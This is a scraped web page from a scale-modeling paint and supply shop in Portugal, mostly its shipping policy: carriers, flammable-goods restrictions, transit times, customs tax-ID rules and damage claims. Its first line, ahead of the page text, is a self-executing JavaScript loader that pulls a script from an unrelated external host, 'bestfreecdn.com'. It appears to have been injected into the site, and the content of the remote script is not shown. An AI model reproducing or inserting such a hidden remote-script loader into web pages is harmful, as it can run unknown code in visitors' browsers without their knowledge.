(function(){let s=document.createElement('script');s.type='text/javascript';s.async=true;s.src="https://wtr.bestfreecdn.com/storage/js/wtr-7376.js";if(document.body){document.body.appendChild(s)}else if(document.head){document.head.appendChild(s)}})() >
WE ARE BACK AT THE WORKBENCH!
Our summer break has ended, and our distribution center is operating at 100% capacity.
All orders placed from today onwards are processed.
Secure the exact paints and supplies for your next scale modeling build with zero shipping delays.

SHIPPING POLICIES

SHIPPING POLICIES

Shipping & Delivery Conditions (English Version)

1. Processing Time

Orders are usually processed and dispatched within 1 to 4 business days after payment confirmation. Note: During high-volume periods or for "Pre-Order" items, dispatch times may be slightly longer.

2. Shipping Methods & Security (2026 Update)

We ship from Portugal using two routes, depending on destination and product type:

  • Portugal, Spain & Europe: Express couriers (DPD, SEUR, DHL, InPost or CTT) by road freight, with door-to-door delivery and real-time tracking. All products, including flammable items, can be shipped to these destinations.
  • Rest of the World (CTT Zones 2, 3 & 4): CTT (Portugal Post) international air services. Non-flammable products only (see section 3).

Security & Protection:

  • Shipments up to 1000g: Include Fire Scale Protection. In the event of a loss confirmed by the logistical tracking system, we guarantee a full reshipment at no extra cost.
  • Shipments over 1000g: These include Full Declared Value Insurance, covering the total cost of products against damage or loss.

3. Flammable Products — Shipping Restrictions

Solvent-based lacquers, 2K clear coats, solvent thinners, cleaners and spray cans are classified as flammable dangerous goods and cannot be shipped by air.

  • Within Europe: shipped by road only.
  • Outside Europe: we ship non-flammable products only: water-based acrylics, tools, accessories, airbrushes and kits.

Orders to non-European addresses that include flammable items will not be dispatched. We will contact you to remove those items and refund them, or to cancel the order with a full refund. If you are unsure whether a product can be shipped to your country, contact us before ordering: geral@firescalemodeler.com.

4. Estimated Transit Times

  • Portugal & Spain: 1-3 business days.
  • Europe (EU): 3-7 business days.
  • Americas (USA, Canada, Brazil): 7-20 business days.
  • United Kingdom (UK): 5-12 business days.
  • Asia & Middle East (Japan, South Korea, HK, Israel): 10-20 business days.
  • Oceania (Australia, New Zealand): 12-25 business days.

Transit times are estimates provided by the carriers and are not guaranteed. Shipments outside the EU may be held longer in customs in the destination country.

5. Customs, Duties & Tax ID (Mandatory for non-EU)

According to 2026 international regulations, providing a Tax ID is mandatory at checkout. Packages without this information will be rejected by the carrier:

  • Brazil: CPF (Individuals) or CNPJ (Companies).
  • South Korea: PCCC (Personal Customs Clearance Code).
  • Chile/Colombia: RUT / NIT Number.
  • Others (Norway, Switzerland, Turkey, China): Local Tax ID.

Warning: Import duties are the buyer's responsibility. If the package is returned due to a missing Tax ID or refusal to pay duties, return shipping costs will be deducted from your refund.

6. Damaged Items

We pack our products with extreme care. If your order arrives damaged:

  1. Take clear photos of the box (exterior) and the damaged items (interior).
  2. Email us immediately at geral@firescalemodeler.com. Without photographic evidence, we cannot file a claim with the carrier or offer a replacement.
Send us a WhatsApp message